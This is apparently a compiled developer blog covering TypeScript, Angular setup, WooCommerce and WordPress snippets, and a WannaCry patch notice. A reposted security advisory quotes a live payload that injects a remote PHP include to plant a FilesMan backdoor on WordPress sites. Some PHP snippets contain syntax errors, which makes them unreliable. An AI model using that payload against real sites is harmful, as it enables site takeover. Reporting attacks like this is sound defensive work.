What is Typescript?

1. Typescript is a typed superset of JavaScript. JavaScript that scales. It's not replacement of JavaScript nor does it add any new feature of JavaScript.
2. It's compiled to generate JavaScript.
3. It was designed by Anders Hejlsberg (founder of C#) at Microsoft. Its open source and can be used in any place where we would need JavaScript.
4. Its object oriented and supports core features like interfaces and classes.
5. Typescript generated JavaScript can reuse all of the existing JavaScript frameworks, tools, and libraries.
6. Also any valid .js file can be renamed to .ts and compiled with other Typescript files.
7. The reader of this tutorial needs to have good knowledge on Object Oriented Programming and basic knowledge on JavaScript.
8. It’s not mandatory to strongly type everything when we are type scripting.
9. There are almost 40 languages which are superset of JavaScript. On which they generate .js on compiling, typescript is one of these languages.
Few of the languages are: typescript, purescript, coffeescript, livescript


Versions:
1. Typescript 0.8 was released on Oct 2012
2. Typescript 0.9 was released in 2013
3. Typescript 1.0 was released in 2014
4. Typescript 2.0 was released on Sep 22 2016

Benefits of TypeScript:
1. It compiles the code and generate syntax errors if any. This helps to highlight errors before the script is executed.
2. Because of Object Oriented features, it's reusable and easier to manage in large and complicated projects.
3. Angular 2 framework is written in Typescript and it’s recommended that developers use the language in their projects as well.
4. Due to the static typing, code written in Typescript is more predictable, and is generally easier to debug.

Small example:

Ex: Hello world

function sample() {
    var message: string = "Hello world"
console.log(message);
}
sample();

AngularJs Setup for local Environment


Setup for local Environment


Setting up Angular2/Angular4 is a quite complex, it needs a lot of work when compared with the installation for Angular1.X applications.

To setup with the quick start files follow these steps:

Step1: Install Node JS and npm
Step2: Install visual studio 2015 update3
Step3: Configuring External Web Tools.
Step4: Install Typescript
Step5: Download quick start files
Step6: Create ASP.NET Project
Step7: Copy the quick start files into your ASP.NET Project
Step8: Restore Packages

Step9: Build and Run


Install Node JS and npm

1. To work with Angular2/Angular4 you must have Node JS version 4.6.X or higher and npm 3.X.X or higher. Older versions produce errors. 

2. Before installing make sure whether you have already installed Node JS before. For checking the Node JS and npm versions follow these commands in command prompt.

For Node JS: node –v
For npm: npm –v



3. If the PC don’t have Node JS installed it will show you like “node” is not recognized as an internal or external command, “npm” is not recognized as an internal or external command. Or if your PC has older version than the required please update to the latest versions.

4. For installing latest version of Node JS and npm go to https://nodejs.org/en/download/ 

5. Your first step will be completed if you have installed the required versions.


Install visual studio 2015 update3

Minimum requirement for developing Angular2/ Angular4 applications is Visual Studio Update3 because the earlier versions do not follow the best practice for developing applications with Typescript. 

1. To check the version of Visual Studio 2015
Open Visual Studio 2015  ->  go to Help -> click on About Microsoft Visual Studio


 
2. If you don’t have update3 go to the following links (or) you can directly install from visual studio go to Tools -> Extensions and Updates

Visual Studio Enterprise 2015 - Update 3

Visual Studio Professional 2015 - Update 3

Visual Studio Community 2015 - Update 3


Configuring External Web Tools

1. We need to configure Visual Studio to use the global external web tools before the tools that ship with visual studio.

2. Go to Visual Studio -> Click on Tools -> Options -> Expand Projects and Solutions -> click on External Web Tools  now in the right hand side move $(PATH) entry above the $(DevEnvDir) entries. This tells the visual studio to use the external tools like (npm) found in the global path before using its own version of the external tools.

3. Now click OK and restart the Visual Studio to reflect these changes. Visual Studio now looks first for external tools in the current workspace and if it doesn't find them, it looks in the global path. If Visual Studio doesn't find them in either location, it will use its own versions of the tools.


Install Typescript

1. To develop Angular applications we need Typescript 2.2.0 or its higher versions, as Visual studio Update3 doesn’t have such specifications we need to install it externally

2. Before installation we can check our Typescript version in the Visual Studio 
Open Visual Studio 2015  ->  go to Help -> click on About Microsoft Visual Studio

3. To get the latest version of typescript for Visual studio 2015 go to https://www.microsoft.com/en-us/download/details.aspx?id=48593 



Download quick start files

You can download the quick start files from Git hub https://github.com/angular/quickstart and then extract the files.

Create ASP.NET Project

Create ASP.NET 4.X or above project in the visual studio

Go to Visual Studio -> File -> New -> Project -> select Visual C# under Templates -> click on 
ASP.NET Web Application -> select Desired Templates -> give the project name and click on OK.


Copy the quick start files into your ASP.NET Project

Copy the quick start files into your project, but all the files are not necessary to be included into your project. So copy only selected files from the extracted folder.

Copy the following files into your .csproj
  • Src
  • Bs-config.json
  • Package.json
  • Tslint.json

Restore Packages

Restore the packages required for your application

1. For restoring packages right click on package.json -> select Restore Packages. This uses npm to install all the packages defined in package.json.

2. In between you can open the Output window to watch the npm commands that are executed. Simply we can ignore the warnings.

3. After you see the message Installing Packages Complete make sure that your project doesn’t includes node_modules folder.


Build and Run

1. After Installing packages build the Application.
2. To run the application open Command Prompt -> go to your Project Directory -> execute command npm start.
3.When this command is executed,
   -> firstly it will launch typescript compiler and compiles the application with the following command tsc –p src/
   -> Now it will start the lite-server and launches the browser where you can see the 
Output: Hello Angular

4. But if you run the index.html by pressing F5 in visual studio it will not show the same output.


To Run in VS with F5 follow these steps

1. In index.html, change base href from <base href="/"> to <base href="/src/">.
2. Also in index.html, change the scripts from node_modules  to /node_modules with a slash 
3. In src/systemjs.config.js, near the top of the file, change the npm path to /node_modules/ with a slash.
4. After these changes npm start command no longer works, you must choose to configure either for F5 with IIS or for npm start with the lite-server.
5. Now run the application using  F5









Angular2 vs Angular4

Angular 2 and Angular 4 Doesn’t have much differences, it’s just an update for the features that are existed in angular2.

Angular2
Angular4 / Just Angular
Angular2 application size is larger when compared to angular4. Angular4 application is smaller and faster when compared to angular2 app.
*ngIf is not build with if/else syntax *ngIf has if/else syntax that make sense when you are making ajax calls we can show loading within the page.
For changing a text to title case, we need to write our own logic. Angular 4 has introduced a  new ‘titlecase’ pipe for converting first letter of each word to uppercase
Ex: <h1>{{‘hello world’ | titlecase}}</h1>
For creating templates we need to use template property New directive ng-template has introduced.
For animations need to import multiple packages and apply transactions For animations we now have own package @angular/platform-browser/animations

AngularJs 1 (vs) AngularJs 2

First thing to be clear is AngularJs 2is not an upgrade of Angular, it is completely different from Angular Js 1


Angular JS 1.X
Angular 2
Setting up application is very easy, need to just add the reference of angular.js Setting up application is quite complex, and it takes lot of work because it’s dependent on Gulp or Grunt.
Angular JS is not built with mobile support in mind. Whereas Angular2 was built for specially taking care of mobile support, so it’s mobile oriented.
Angular JS core concept was $scope, without scope we can’t communicate between views and controller. Angular2 is using Zone.js for detecting changes made in the DOM.
For communicating with views/templates it require controllers. It’s build with components.
Template Directives + controllers =    components
Performance is less when compared to angular2. Unidirectional tree based change detection increases its performance. As per ng-conf angular 2 is five times faster than angular1.
Angular1.X has ES5, ES6 and Dart Whereas angular2 has more choice, it can use any of the languages from ES5, ES6, and typescript/dart.
Ng-repeat is used for iterating through list of objects. Structural directives syntax is completely changed. Ng-repeat is replaced with *ngFor
Mostly built-in directives are used for events and element properties. Ex: ng-src, ng-href, ng-click etc. It directly uses the HTML DOM element properties. Ex: (click)
Ng-bind is used for one-way binding Whereas ng-bind is replaced with [property], where property is HTML DOM element property.
It has two ways to bootstrap the application, one is automatic bootstrapping (ng-app) and manual bootstrapping. It has only one way which is manual bootstrapping.
For routing it uses $routeProvider.when() It uses @RouteConfig {{…}}

Angular4 - Introduction

      What is Angular?
      AngularJS is a structural framework for dynamic web apps. It lets you use HTML as your template language and lets you extend HTML's syntax to express your application's components clearly and succinctly. AngularJS's data binding and dependency injection eliminate much of the code you would otherwise have to write. And it handles all of the DOM and AJAX code you once wrote by hand and puts it in a well-defined structure.

  • History: AJAX -> jQuery / Prototype -> MVC Frameworks (Knockout / Backbone) -> AngularJS
  • AngularJS is a very powerful open source and absolutely free JavaScript library distributed as   Angular.js file. 
  • It's majorly used for developing Single Page Applications (SPA). 
  • It's based on Model View Controller design pattern.
  • It's an extension of HTML DOM and has additional attributes which reduces code and makes it easy to program dynamic and responsive applications.
  • Its features include everything we need to build a CRUD app: data-binding, basic templating, directives, form validation, routing, deep-linking, reusable components, dependency injection.
  • Angular is built around the belief that declarative code is better than imperative when it comes to building UIs and wiring software components together, while imperative code is excellent for expressing business logic.
  • In AngularJS, views are pure html pages, and controllers written in JavaScript do the business processing.
  • AngularJS applications can run on all major browsers and smart phones, including Android and IOS based phones/tablets.




WHAT IS RANSOMWARE?






Ransomware is a malicious software that encrypts files and locks devices, such as a computer, tablet or smartphone and then demands a ransom to unlock it. Recently, a dangerous ransomware named ‘Wannacry’ has been affecting devices worldwide creating the biggest ransomware attack the world has ever seen.



WHAT IS WANNACRY RANSOMWARE?

WannaCry ransomware attacks windows based machines. It also goes by the name WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY. It leverages SMB exploit in Windows machines called EternalBlue to attack and inject the malware. All versions of windows before Windows 10 are vulnerable to this attack if not patched for MS-17-010. After a system is affected, it encrypts files and shows a pop up with a countdown and instructions on how to pay the 300$ in bitcoins to decrypt and get back the original files. If the ransom is not paid in 3 days, the ransom amount increases to 600$ and threatens the user to wipe off all the data. It also installs DOUBLEPULSAR backdoor in the machine.



HOW IT SPREADS?

It uses EternalBlue MS17-010 to propagate. The ransomware spreads by clicking on links and downloading malicious files over internet and email. It is also capable of automatically spreading itself in a network by means of a vulnerability in Windows SMB. It scans the network for specific ports, searches for the vulnerability and then exploits it to inject the malware in the new machine and thus it spreads widely across the network.



WHAT CAN YOU DO TO PREVENT INFECTION?

– Microsoft has released a Windows security patch MS17-010 for Windows machines. This needs to be applied immediately and urgently.

– Remove Windows NT4, Windows 2000 and Windows XP-2003 from production environments.

– Block ports 139, 445 and 3389 in firewall.

– Avoid clicking on links or opening attachments or emails from people you don’t know or companies you don’t do business with.

– SMB is enabled by default on Windows. Disable smb service on the machine by going to Settings > uncheck the settings > OK

– Make sure your software is up-to-date.

– Have a pop-up blocker running on your web browser.

– Regularly backup your files.

– Install a good antivirus and a good anti-ransomware product for better security.



WHAT ARE WE DOING ON OUR WINDOWS SHARED SERVERS?

We are already in the phase of applying Windows updates on all our shared hosting Windows servers. However we need to reboot servers in-order to apply those security patches. We shall announce the schedule for server reboot in this thread shortly.



WHAT YOU NEED TO DO IN CASE OF OUR WINDOWS DEDICATED SERVERS?

You need to patch the Windows dedicated server immediately using the steps mentioned in the link : https://goo.gl/PYIEis



You can also refer to the following links to apply the necessary fix:

https://technet.microsoft.com/library/security/MS17-010

https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

https://support.microsoft.com/en-in/help/4013389/title



For dedicated servers, once you have applied necessary changes, you need to reboot the server.

Contact Form 7 Custom Validations - Wordpress




If you wanted to add custom Validations for Contact from 7 fields, here is the code
 But the name we use in Wordpress back-end should match with $name in the below code. I added validations for URL, Zip and Phone number

 For Custom URL use "url" - [text* url]
 For Zip Code use "ZipCode" - [text* ZipCode]
 For Phone Number we can use "'PhoneNumber1', 'PhoneNumber2', 'PhoneNumber3', 'PhoneNumber4', 'PhoneNumber5', 'PhoneNumber6', 'PhoneNumber7'"  - [text* PhoneNumber1]



<?php

// URL Validations
function get_valid_url( $url ) {

    $reg_cond = "((https?|ftp)\:\/\/)?";
$reg_cond .= "(\?[a-z+&\$_.-][a-z0-9;:@&%=+\/\$_.-]*)?";
$reg_cond .= "(\:[0-9]{2,5})?";
    $reg_cond .= "([a-z0-9+!*(),;?&=\$_.-]+(\:[a-z0-9+!*(),;?&=\$_.-]+)?@)?";
    $reg_cond .= "([a-z0-9-.]*)\.([a-z]{2,3})";
    $reg_cond .= "(\/([a-z0-9+\$_-]\.?)+)*\/?";
    $reg_cond .= "(#[a-z_.-][a-z0-9+\$_.-]*)?";

    return preg_match("/^$reg_cond$/", $url);
}

function contact7_validations($result,$tag) {
$type = $tag['type'];
$name = $tag['name'];


if($type == 'text*' && $_POST[$name] == ''){
$result['valid'] = false;
$result['reason'][$name] = wpcf7_get_message( 'invalid_required' );
}



// Custom URL Validation
if($name == 'url') {
$url = $_POST['url'];

if($url != '') {
if(get_valid_url($url)){
$result['valid'] = true;
} else {
$result['valid'] = false;
$result['reason'][$name] = 'URL Entered is invalid.';
}
}
}


// Custom Zip Code Validation
if($name == 'ZipCode') {
$ZipCode = $_POST['ZipCode'];

if($ZipCode != '') {
if(!preg_match('/^[ABCEGHJKLMNPRSTVXY]{1}\d{1}[A-Z]{1} *\d{1}[A-Z]{1}\d{1}$/', $ZipCode)) {
if(!preg_match('/^\d{5}(-\d{4})?$/', $ZipCode)) {
$result['valid'] = false;
$result['reason'][$name] = 'Zipcode Entered is Invalid';
}
}
}
}

// Phone Validation

$PhoneNumber = array('PhoneNumber1', 'PhoneNumber2', 'PhoneNumber3', 'PhoneNumber4', 'PhoneNumber5', 'PhoneNumber6', 'PhoneNumber7');

foreach($PhoneNumber as $phoneValid) {
if($name == $phoneValid) {
$validPhone = $_POST[$phoneValid];

if($validPhone != '') {
if(preg_match('/^(?:1(?:[. -])?)?(?:\((?=\d{3}\)))?([2-9]\d{2})(?:(?<=\(\d{3})\))? ?(?:(?<=\d{3})[.-])?([2-9]\d{2})[. -]?(\d{4})(?: (?i:ext)\.? ?(\d{1,5}))?$/', $validPhone)
|| preg_match('/^([\+][0-9]{1,3}[\ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9\ \.\-\/]{3,20})((x|ext|extension)[\ ]?[0-9]{1,4})?$/', $validPhone)
&& strlen($validPhone) > 9
&& strlen($validPhone) < 30
&& (int)($validPhone)) {
} else {
$result['valid'] = false;
$result['reason'][$name] = 'Phone Number Entered is Invalid';
}
}
}
}


return $result;
}

//Filter For Text Field
add_filter('wpcf7_validate_text','contact7_validations', 10, 2);
add_filter('wpcf7_validate_text*', 'contact7_validations', 10, 2);
 ?>

Tunoff JSON Rest API - Wordpress





Wordpress has introduced REST API Future from 4.4 version, this addition will makes it possible to access our content using JSON API, Which is good for other user to access your content easily.

To disable the REST API and don't want to use REST API

Add the code beloe to your theme ->  functions.php

add_filter('json_enabled', '__return_false');
add_filter('json_jsonp_enabled', '__return_false');

Social media share links - Wordpress - Without plugin



To use social media share link in a wordpress site without the use of any plugin, follow the below steps.

This snippets is useful in lopps under posts or pages, by adding this code you can get the share icons under every posts and page.

Step 1:

Find "page.php", "index.php" and  "single.php"

In these 3 pages you will find a while loop, add the code below just before end while <?php endwhile; ?>


//  Delicious
<a rel="nofollow" href="http://delicious.com/post?url=<?php the_permalink(); ?>&amp;title=<?php echo urlencode(get_the_title($id)); ?>" title="Bookmark this post at Delicious">Bookmark at Delicious</a>

// Blinklist
<a rel="nofollow" href="http://blinklist.com/index.php?Action=Blink/addblink.php&amp;url=<?php the_permalink(); ?>&amp;Title=<?php echo urlencode(get_the_title($id)); ?>" title="Share this post on Blinklist" >Blink This!</a>

// Digg
<a rel="nofollow" href="http://digg.com/submit?phase=2&amp;url=<?php the_permalink(); ?>" title="Submit this post to Digg">Digg this!</a>

// Google Plus
<a rel="nofollow" href="https://plus.google.com/share?url=<?php the_permalink(); ?>" title="Share on Google Plus">Google Plus</a>

// StumbleUpon
<a rel="nofollow" href="http://www.stumbleupon.com/submit?url=<?php the_permalink(); ?>&amp;title=<?php echo urlencode(get_the_title($id)); ?>" title="Share this post at StumbleUpon">Stumble this!</a>

// Facebook
<a rel="nofollow" href="http://www.facebook.com/sharer.php?u=<?php the_permalink();?>&amp;t=<?php echo urlencode(get_the_title($id)); ?>" title="Share this post on Facebook">Share on Facebook</a>

// Twitter
<a rel="nofollow" href="http://twitter.com/home?status=<?php echo urlencode("Currently reading: "); ?><?php the_permalink(); ?>" title="Share this article with your Twitter followers">Tweet this!</a>

//  Furl
<a rel="nofollow" href="http://furl.net/storeIt.jsp?t=<?php echo urlencode(get_the_title($id)); ?>&amp;u=<?php the_permalink(); ?>" title="Share this post on Furl">Furl This!</a>

//  Reddit
<a rel="nofollow" href="http://reddit.com/submit?url=<?php the_permalink(); ?>&amp;title=<?php echo urlencode(get_the_title($id)); ?>" title="Share this post on Reddit">Share on Reddit</a>

Step 2:

you can replace the text with your custom icon

For Example

//  Reddit
<a rel="nofollow" href="http://reddit.com/submit?url=<?php the_permalink(); ?>&amp;title=<?php echo urlencode(get_the_title($id)); ?>" title="Share this post on Reddit">
<img src="http://http://wordpress-code-snippets.blogspot.com/images/reddit.png" alt="Reddit' />
</a>

Step 3:

Done!!


How to create custom css option in a custom theme.



Adding custom css to a theme which is custom build is very easy, just follow the below steps.

Why custom css?

We can edit css from editor of a theme, but when we save it css will be reformatted with lot's of white space. This action will effect on Page load speed. To avoid this we can use an option called custom css and we can load the css in header which overrides the current css.

Let's make it quite simple with available plugins. i am using OPTION TREE

Step 1:

We will integrate OPTION TREE in the theme

1.Download the latest version of OptionTree and unarchive the .zip directory.
2. Put the option-tree directory in the root of your theme. For example, the server path would be /wp-content/themes/theme-name/option-tree/.
3. You must deactivate and/or delete the plugin version of OptionTree.
4. Add the following code to the beginning of your functions.php.
5. Create a folder (admin) and create a page (theme-options.php).

add_filter( 'ot_theme_mode', '__return_true' );
add_filter( 'ot_show_pages', '__return_false' );
require( trailingslashit( get_template_directory() ) . 'option-tree/ot-loader.php' );
require( trailingslashit( get_template_directory() ) . 'admin/theme-options.php' );

Step 2:

Add the below code to the (theme-options.php).

<?php
/**
 * Initialize the custom Theme Options.
 */
add_action( 'init', 'custom_theme_options' );

/**
 * Build the custom settings & update OptionTree.
 *
 * @return    void
 * @since     2.0
 */
function custom_theme_options() {

  /* OptionTree is not loaded yet, or this is not an admin request */
  if ( ! function_exists( 'ot_settings_id' ) || ! is_admin() )
    return false;

  /**
   * Get a copy of the saved settings array.
   */
  $saved_settings = get_option( ot_settings_id(), array() );

  /**
   * Custom settings array that will eventually be
   * passes to the OptionTree Settings API Class.
   */
  $custom_settings = array(
    'contextual_help' => array(
      'sidebar'       => ''
    ),
    'sections'        => array(
      array(
        'id'          => customcss',
        'title'       => __( 'Custom Css', 'theme-text-domain' )
      )
    ),
    'settings'        => array(
      array(
        'id'          => 'custom_css',
        'label'       => __( 'Custom Css', 'theme-text-domain' ),
        'desc'        => sprintf( __( 'Custom Css', 'theme-text-domain' ), '<code>wpautop</code>', '<code>media_buttons</code>', '<code>tinymce</code>', '<code>quicktags</code>' ),
        'std'         => '',
        'type'        => 'textarea-simple',
        'section'     => 'customcss',
        'rows'        => '15',
        'post_type'   => '',
        'taxonomy'    => '',
        'min_max_step'=> '',
        'class'       => '',
        'condition'   => '',
        'operator'    => 'and'
      )
   
    )
  );

  /* allow settings to be filtered before saving */
  $custom_settings = apply_filters( ot_settings_id() . '_args', $custom_settings );

  /* settings are not the same update the DB */
  if ( $saved_settings !== $custom_settings ) {
    update_option( ot_settings_id(), $custom_settings );
  }

  /* Lets OptionTree know the UI Builder is being overridden */
  global $ot_has_custom_theme_options;
  $ot_has_custom_theme_options = true;

}
?>


Step 3:

Add this below code to your heder.php above </head> tag.
<?php
if ( function_exists('ot_get_option') ) {
$custom_css = ot_get_option( 'custom_css' );
}
?>
<style>
<?php echo $custom_css; ?>
</style>

Step 4:

Done!!

Note: You can find this option under Apperance->Theme Options -> Custom Css



Why happy developers equal happy customers



A company's greatest competitive advantage is its ability to deliver a great customer experience. And that starts with a happy software development team.

In today's digital, technology-driven marketplace, a company's greatest competitive advantage is its ability to offer an incredible customer experience. But delivering that starts in what, on first blush, seems like an unlikely place: with your software development teams.

"We've all been there, right? You're trying to do your job, get work done and the software you're using isn't working right. Or it has a glitch or a bug that you have to work around. Or it doesn't have quite the right set of features for your needs, though it might be close. It makes everything more frustrating, more difficult, and then you're not working efficiently or effectively," says Greg Law, CEO and co-founder of software quality startup Undo.

That means you're not delivering on customers' needs and demands as well as you could, and that's a huge problem. Today's hyperconnected, social-media saturated media landscape means customers can easily vent those frustrations to the market at large with a few keystrokes, which can have a direct impact on your bottom line.

Keeping your software developers happy, engaged and working productively has a direct correlation to the happiness of your customers, Law says, and that leads to better business outcomes.


Environment matters

"Human beings need very high levels of precision, focus and concentration to be able to write quality code, and they need freedom to be creative and express themselves. They need to be empowered to make their own decisions, they need a comfortable atmosphere, and they have to have the resources easily available to do their job well," Law says.

Happy, engaged software developers can produce high-quality results, which impacts everyone else involved in the development, delivery, marketing and sales of the product, too, he says; it's a lot easier to market and sell a quality product that fulfills a customer need, and it's a lot more attractive to the market.


The royal treatment

The savviest companies understand this, and it's why, in a tight IT talent market, software developers are treated like royalty; lucrative salaries, the ability to work remotely, perks like on-site massage, catered food, unlimited PTO and the like, says Law.

The companies who "get it" and treat their people well are necessarily going to see a return on that investment by attracting the elite tech talent; while these kinds of benefits and perks may seem excessive, they are paying long-term dividends, he says.

"A software developer who's even just a little bit better than the competition can result in exponential non-linear returns on whatever investment you make. It's somewhat akin to professional sports, in that even if your talent's just one percent better, that translates to a huge advantage," he says.

Organizations that aren't willing to make these investments are fooling themselves, says Chris O'Malley, CEO of mainframe technology services company Compuware. It's nearly impossible to luck out and find these specialized skills and abilities through outsourcing, so if you want to compete, you have to up the ante. Even startups with limited budgets can offer things that are attractive to developers, so it's not entirely about compensation, O'Malley says.

[ Related story: Why IT innovation follows failure

Adjust accordingly

"CIOs have to understand how this market has evolved and adjust... These developers are essential to your ability to compete, so you need to be able to raise the ante and invest in these developer resources, especially in this area! The environment in which the work is done matters. They want interesting things to do and the nature of the work counts just as much as how much they're paid," he says.

That's been true for Law's as well. He says as a startup, the company can't always go head-to-head with larger competitors on salary, but that a startup atmosphere, new and innovative projects and the ability to make a demonstrable difference to customers and the world at large have helped attract elite talent. And that, above all, correlates to a great customer experience.

"You have to be inventive, innovative and figure out ways to make this work and differentiate yourselves to create raving happy customers, because if you don't, you're doing a disservice to your company, you're doing a disservice to your customers and to your developers, and it's suicide," O'Malley says.


Upcoming Programming Languages Developers Should Know





The new coming programming languages  has created  anxiety worldwide, These languages will replace the present languages which we are using right now (C, C++, HTML, Javacript, Java and PHP). Alright developers start leaning the new things and add these new skills to your profile.


1. Dart: Replacement of Javascript

2. Opa: For Simple and Secure Web Apps

3. Scala: The Tongue of LinkedIn, Twitter and Intel 

4. Erlang: The Language with both Concurrency and Availability 

5. Ceylon: Replacement of Java

6. Google Go: The Cloud Language

7. Swift: Delivering Impressive Results and Success 

8. Hack: The Very Own “Facebook” Product

RCE Attempts Against the Latest WordPress REST API Vulnerability



We are starting to see remote command execution (RCE) attempts trying to exploit the latest WordPress REST API Vulnerability.

These RCE attempts started today after a few days of attackers (mostly defacers) rushing to vandalize as many pages as they could. The RCE attempts we are seeing in the wild do not affect every WordPress sites, only the ones using plugins that allow for PHP execution from within posts and pages.

Attacks in the Wild

The attackers in the wild are trying to exploit sites that have plugins like the Insert PHP (100k+ installs), Exec-PHP (100k+ installs) and similar installed plugins. These plugins, allow users to insert PHP code directly into the posts as a way to make customizations easier. Coupled with this vulnerability, it allows the attackers to execute PHP code when injecting their content into the database.

For example, this first campaign we are seeing is trying to inject a PHP include to content of different posts to see if it gets executed. This is the payload:

content:"[insert_php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/insert_php]
[php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/php]",
"id":"61a"}

It tries to leverage the format parsed by these plugins to include code from acommeamour.fr (likely a compromised site) and executes a malicious code to inject a backdoor into the file. In the current format, it downloads a FilesMan backdoor and hides it into /wp-content/uploads/

Monetization Strategy

First of all, if you have any of these plugins, we recommend disabling them. We believe that PHP code should be run within a plugin or theme. It should not be run directly from the posts.

Second, it seems attackers are starting to think of ways to monetize this vulnerability. Defacements don’t offer economic returns, so that will likely die soon. What will remain are attempts to execute commands (RCE) as it gives the attackers full control of a site – and offers multiple ways to monetize – and SPAM SEO / affiliate link / ad injections. We are starting to see them being attempted on a few sites, and that will likely be the direction this vulnerability will be misused in the coming days, weeks and possibly months.

Third – update to WordPress 4.7.2 now!

Websites behind the Sucuri Firewall are protected against this threat via Virtual Hardening / Patching.

Ref: https://blog.sucuri.net/

Top 5 useful woocommerce snippets




1) Custom currency symbol with settings in Woocommerce 

Copy the below code and paste it in your theme ->  function.php

<?php
add_filter( 'woocommerce_currencies', 'add_my_currency' ); function add_my_currency( $currencies ) {     $currencies['UG'] = __( 'Currency name', 'woocommerce' );     return $currencies;}
add_filter('woocommerce_currency_symbol', 'add_my_currency_symbol', 10, 2); function add_my_currency_symbol( $currency_symbol, $currency ) {     switch( $currency ) {         case 'UG': $currency_symbol = 'Ug'; break;     }     return $currency_symbol;}
?>

2) Display Cart Items with totals in your theme

Use the below code in your theme files.

<?php
global $woocommerce;
$qty = $woocommerce->cart->get_cart_contents_count();
$total = $woocommerce->cart->get_cart_total();
$cart_url = $woocommerce->cart->get_cart_url();
?>

<div class="quantinty"><?php echo $qty; ?></div>
<div class="totals"><?php echo $total; ?></div>

<a class="cart_items" href="<?php echo $cart_url ?>">
<?php echo sprintf (_n( '%d item', '%d items', $qty ), $qty; ?> -
<?php echo $total ?> </a>

3) Custom country to the list

Copy the below code and paste it in your theme ->  function.php

<?php
function custom_country( $country ) {
$country["BV"] = 'Bouvet Island';
     return $country;
}
add_filter( 'woocommerce_countries', 'custom_country', 10, 1 );
?>

4) Replace add to cart button text

Copy the below code and paste it in your theme ->  function.php

<?php
//1. For Single Page
add_filter( 'woocommerce_product_single_add_to_cart_text', 'woo_custom_cart_button_text' );
function woo_custom_cart_button_text() {
return __( 'Custom Text', 'woocommerce' );
 }

//2. For Loop Page
add_filter( 'woocommerce_product_add_to_cart_text', 'woo_loop_custom_cart_button_text' );
function woo_loop_custom_cart_button_text() {
return __( 'Custom Text', 'woocommerce' );
}
?>

5) Complete list of Shortcodes

Cart: [woocommerce_cart]
Checkout: [woocommerce_checkout]
Order Tracking: [woocommerce_order_tracking]
My Account: [woocommerce_my_account]

Recent Products: [recent_products per_page="8" columns="2"]
Featured Products: [featured_products per_page="8" columns="2"]
Single Product: [product id="1254"]

Multiple Products: [products ids="2544, 2555, 34785, 4144, 5547"]
Add to cart  Button of a single Product: [add_to_cart id="1254"]
Add to cart  URL of a single Product: [add_to_cart_url id="1254"]
Product Category:[product_category category="catname"]

Single page of a Product: [product_page id="1254"]

Sale Products: [sale_products per_page="8"]
Best-Selling Products: [best_selling_products per_page="8"]
Related Products: [related_products per_page="8"]
Top Rated Products: [top_rated_products per_page="8"]

Woocommerce - Set Minimum quantity for products in cart

Restricting user to buy minimum quantity for products in woo-commerce is a pretty cool thing, we can achieve it by following the below steps

Step1:

1. Collect the product ids for which you wanted to restrict the quantity during checkout, store them in a array

<?php
$pd_min_quantity= array( 
array( 'id' => 3587, 'min' => 99),
array( 'id' => 2554, 'min' => 87),
array( 'id' => 5587, 'min' => 52),
array( 'id' => 4488, 'min' => 40),
       array( 'id' => 2555, 'min' => 80),
);
?>

Step2:

Add Following code to your themes - > functions.php

Note: don't forget to update your product ids and quantity 

<?php
add_action( 'woocommerce_check_cart_items', 'restrict_product_quantity' );
function restrict_product_quantity() {
if( is_cart() || is_checkout() ) {
global $woocommerce;

$pd_min_quantity= array(
array( 'id' => 3587, 'min' => 99),
array( 'id' => 2554, 'min' => 87),
array( 'id' => 5587, 'min' => 52),
array( 'id' => 4488, 'min' => 40),
       array( 'id' => 2555, 'min' => 80),
);

$i = 0;
$odd_prod = array();

foreach( $woocommerce->cart->cart_contents as $pd_cart ) {
foreach( $pd_min_quantity as $pd_quantity ) {
if( $pd_quantity['id'] == $pd_cart['product_id'] ) {
if( $pd_cart['quantity'] < $pd_quantity['min'] ) {
$odd_prod[$i]['id'] = $pd_cart['product_id'];
$odd_prod[$i]['in_cart'] = $pd_cart['quantity'];
$odd_prod[$i]['min_req'] = $pd_quantity['min'];
}
}
}
$i++;
}

if( is_array( $odd_prod) && count( $odd_prod ) > 1 ) {
$message = '<strong>Minimum quantity per product should be added.</strong><br />';
foreach( $odd_prod as $odd_prods ) {
$message .= get_the_title( $odd_prods['id'] ) .' requires a minimum quantity of '
. $odd_prods['min_req'] 
.'. You currently have: '. $odd_prods['in_cart'] .'.<br />';
}
wc_add_notice( $message, 'error' );
}
}
}

?>

Step3:

Done!!

Woocommerce - Restrict user to add products into cart with particular combination

In Woocommerce if we need to Restrict user to add products  into cart  with  particular combination, we have to follow few steps.

<?php

// Step1: 

function aelia_get_cart_contents() {
  $cart_contents = array();
  $cart = WC()->session->get( 'cart', null );
   if ( is_null( $cart ) && ( $saved_cart = get_user_meta( get_current_user_id(), '_woocommerce_persistent_cart', true ) ) ) {
    $cart = $saved_cart['cart'];
  } elseif ( is_null( $cart ) ) {
    $cart = array();
  }

  if ( is_array( $cart ) ) {
    foreach ( $cart as $key => $values ) {
      $_product = wc_get_product( $values['variation_id'] ? $values['variation_id'] : $values['product_id'] );

      if ( ! empty( $_product ) && $_product->exists() && $values['quantity'] > 0 ) {
        if ( $_product->is_purchasable() ) {
         $session_data = array_merge( $values, array( 'data' => $_product ) );
          $cart_contents[ $key ] = apply_filters( 'woocommerce_get_cart_item_from_session', $session_data, $values, $key );
        }
      }
    }
  }
  return $cart_contents;
}

// Step2:

add_action('wp_loaded', function() {
    if(!is_object(WC()->session)) {
    return;
  }

  global $allowed_cart_items;
  // I am adding products with ID 5395,5138,5046,5137,5134,5133,5131 as a combination.
  global $restricted_cart_items;
  $restricted_cart_items = array(5395,5138,5046,5137,5134,5133,5131);

  foreach(aelia_get_cart_contents() as $item) {
    if(in_array($item['data']->id, $restricted_cart_items)) {
      $allowed_cart_items[] = $item['data']->id;
    }
  }

  // Step3:

  add_filter('woocommerce_is_purchasable', function($is_purchasable, $product) {
    global $restricted_cart_items;
    global $allowed_cart_items;

    if(!empty($allowed_cart_items)) {
           $is_purchasable = in_array($product->id, $allowed_cart_items) || in_array($product->id, $restricted_cart_items);
    }
    return $is_purchasable;
  }, 10, 2);
}, 10);

// Step4

add_filter('woocommerce_get_price_html', function($price_html, $product) {
  if(!$product->is_purchasable() && is_product()) {
    $price_html .= '<p>' . __('<h3 style="font-weight:bold;">This product cannot be added to cart  with the combination of  <span style="color:#d06569">Product / Category Name</span>. Remove other items from cart and try purchasing it.</h3>', 'woocommerce') . '</p>';
  }
  return $price_html;
}, 10, 2);

// Step5

// Done!!
?>

